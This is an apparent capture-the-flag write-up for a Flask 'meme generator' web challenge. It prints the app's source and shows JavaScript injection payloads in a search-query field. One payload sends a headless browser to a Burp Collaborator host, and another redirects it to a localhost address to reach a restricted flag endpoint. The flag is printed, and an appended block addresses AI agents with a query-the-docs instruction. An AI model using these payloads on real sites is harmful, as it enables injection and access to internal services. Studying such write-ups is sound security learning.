# Meme generator

## Difficulty

Medium

## Points

250

## Description

Creating memes manually can sometimes become repetitive and boring, so I made this app to make your life easier. Although there's just one template available yet, it is fully customizable! You can do absolutely anything with it, even getting flags! (That's what a friend of mine said, not that I understand what a flag is)

## Quick Analysis

View the application source code via `/source` endpoint

```python
import utils
from flask import Flask, render_template, request
import os
import html

app = Flask(__name__)

@app.route("/")
def index():
    return render_template("index.html")

@app.route("/api/generate", methods = ["POST"])
def generate():
    search_engine = request.form.get("search_engine")
    query = request.form.get("query")
    if not (search_engine and query):
        return "", 400
    utils.take_screenshot(search_engine, query)
    utils.make_meme()
    return "", 200

@app.route("/source")
def source():
    with open(__file__, "r") as f:
        return f"<pre><code>{html.escape(f.read())}</code></pre>", 200

@app.route("/flag")
def flag():
    # TODO: Fix typo
    if request.remote_addr == "127.0.0.1" and request.url.startswith("http://l0calhost"):
        return os.getenv("FLAG"), 200
    return "Nice try", 200

app.run("0.0.0.0", 8080)
```

### The home page endpoint `/`

* the `index` function renders `index.html`
* The home page `index.html` asks for a `search_engine` input and a `query` input to generate a meme.

### The generator endpoint `/api/generate`

* The `search_engine` parameter and the `query` parameter must be defined.
* The `search_engine` value and the `query` value passed to the `take_screenshot` function.
* The `make_meme` function is called after taking the screenshot.

### The flag endpoint `/flag`

The flag can be obtained only if

* The address of the client sending the request is `127.0.0.1`.
* The URL scheme must start with `http://l0calhost`.
* The todo comment `# TODO: Fix typo` is about `request.url.startswith("http://l0calhost")`.

**Note:**\
**The application is running on port 8080**

### Generate a meme via the home page

#### Analyzing the query input

* Choose `google` as a value for the search engine.
* Enter `diefunction` as a value for the query.\
  The application returns an image containing the google search page with `diefunction` as a keyword for the search.

#### Execute javascript code on the client's browser

* Choose google as a value for the search engine.
* Enter `~!@#$%^&*()-_=+[]{]\|;:'",.<>/?` separately as a value for the query.\
  I noticed that if the query value contains `"` the generator returns an empty page in the image.

**Proof of concept**

I assumed the challenge uses a browser driver to take a screenshot, and the injection code should be Javascript.

* Choose google as a value for the search engine.
* Enter `"+String.fromCharCode(65);escape="` javascript code as a value for the query.\
  The meme generator returns the google search page with `A` character as a keyword for the search meaning the browser executed the Javascript code.

**The client browser**

* Choose google as a value for the search engine.
* Enter `";top.location="http://<burpcollaborator>` Javascript code as a value for the query.\
  From the Burpsuite collaborator output, the `User-Agent` appears to be `Headless Chrome`.

## Exploitation

* Since the browser is chrome, the translation of `*.localhost` is always translated to `127.0.0.1`, without `/etc/host` or `DNS` workarounds. [\[1\]](https://datatracker.ietf.org/doc/html/draft-west-let-localhost-be-localhost-06)
* Choose google as a value for the search engine.
* Enter `";top.location="http://l0calhost.localhost` Javascript code as a value for the query.

## The flag

After generating a meme with the crafted javascript payload in the exploitation section, the `make_meme` function returns an image with the challenge flag.

<figure><img src="/files/xGdr4HBo61w5SimqGtAu" alt=""><figcaption><p>Flag</p></figcaption></figure>

BlackHatMEA{551:15:aa0910737fd02a9445d1f0250d03dd3b8c9e27b8}

## References

* <https://datatracker.ietf.org/doc/html/draft-west-let-localhost-be-localhost-06>
* <https://ma.ttias.be/chrome-force-dev-domains-https-via-preloaded-hsts/>
* <https://webmasters.stackexchange.com/questions/88636/why-does-chrome-resolve-websitename-localhost-as-localhost>


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://blog.diefunction.io/ctf/blackhatmea-quals-2022/meme-generator.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
